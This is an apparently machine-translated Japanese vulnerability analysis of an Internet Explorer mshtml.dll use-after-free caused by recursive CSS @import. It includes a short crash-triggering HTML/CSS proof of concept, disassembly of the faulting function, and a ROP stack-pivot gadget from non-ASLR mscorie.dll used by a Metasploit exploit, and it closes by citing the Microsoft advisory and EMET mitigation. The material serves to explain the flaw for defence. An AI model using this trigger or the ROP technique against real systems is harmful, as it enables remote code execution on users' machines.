最初、PoCは次のようになりました。
< code >
< div style ="position: absolute; top: -999px;left: -999px;" >
< link href ="css.css" rel ="stylesheet" type ="text/css" />
</ code >
< code of css . css >
*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
</ code >
エラーは、HTMLページパーサー(mshtml.dll)のメモリ破損にあり、再帰的なCSSインクルージョンを含むページの処理中に、 CStyleSheet :: Notifyオブジェクトが削除され、後でこのメモリ領域を使用して制御を任意のコードに転送できます。
mshtml!CSharedStyleSheet::Notify:
3ced63a5 8bff mov edi,edi
3ced63a7 55 push ebp
3ced63a8 8bec mov ebp,esp
3ced63aa 51 push ecx
3ced63ab 56 push esi
3ced63ac 8bb1d0000000 mov esi,dword ptr [ecx+0D0h] ; esi = 0x14
3ced63b2 57 push edi
3ced63b3 8bb9d8000000 mov edi,dword ptr [ecx+0D8h] ; pointer to array of CStyleSheet objects
3ced63b9 33c0 xor eax,eax
3ced63bb c1ee02 shr esi,2 ; esi = 0x5
原則として、この脆弱性は特に興味深いものではありませんが、Metasploitからの波紋からの悪用の実装は本当に注目に値します。 興味深いことに、標準のヒープスプレーに加えて、.NETを介したROP(リターン指向プログラミング)技術が使用されましたが、これは一般的ではありません。 より正確には、.NET Framework 2.0からのmscorie.dllのダウンロード機能が使用されました。これはフラグなしでコンパイルされ、常に同じベースアドレス(0x63f00000)でロードされます。 開発者側のこの省略により、ROP手法を使用してシェルコードからシステム関数を呼び出すことができます。
ROPのスタックピボットガジェットの例:
mscorie!_chkstk+0x1b:
63f0575b 94 xchg eax,esp
63f0575c 8b00 mov eax,dword ptr [eax]
63f0575e 890424 mov dword ptr [esp],eax
63f05761 c3 ret
マイクロソフトは昨日、このトピックに関するセキュリティアドバイザリ2488013をリリースしました。この脆弱性は、次のアップデートパックで解決されるようです。 これまで、MS市民はEMET (Enhanced Mitigation Experience Toolkit)を使用して、上記のROPベクトルを介したASLRバイパスに対抗することを推奨してきました。